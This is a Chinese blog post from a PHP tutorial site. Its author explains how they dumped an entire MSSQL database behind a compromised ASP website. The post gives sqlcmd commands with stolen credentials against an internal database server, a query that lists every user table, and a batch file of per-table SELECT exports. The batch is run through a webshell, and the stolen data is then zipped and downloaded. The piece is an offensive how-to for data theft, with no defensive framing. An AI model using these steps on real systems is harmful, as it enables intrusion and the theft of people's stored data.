来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 近日碰带一个脱裤的环境:asp+mssql的环境,网站数据库分离的想脱所有库里的内容尝试多种脱裤的脚本,都有点差强人意尝试ssql.asp 虽然也行但是库内容比较大,脚本每次执行的有大小...
近日碰带一个脱裤的环境:
asp+mssql的环境,网站数据库分离的
想脱所有库里的内容
尝试多种脱裤的脚本,都有点差强人意
尝试ssql.asp 虽然也行
但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句,
就的分多次查询,但数据有几十万,这样执行也非常难受
后来发现命令行下有sqlcmd这个工具,可远程执行sql命令
于是尝试远程备份数据库,执行命令如下
sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "backup database xxx to disk='c:\\temp\\xxx.bak'"
但是失败,后分析了下该cms账号为public权限,没有备份权限
于是换一种思路
分别将库里的所有表给备份出来
首先获取该库下的所有用户表名
select name from cms.dbo.sysobjects where xtype='U'
然后做成一个批处理
sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table1">>c:\\temp\\table1.txt
sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table2">>c:\\temp\\table2.txt
sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table3">>c:\\temp\\table3.txt
sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table4">>c:\\temp\\table4.txt
.......
这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 迅雷下载 完工
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com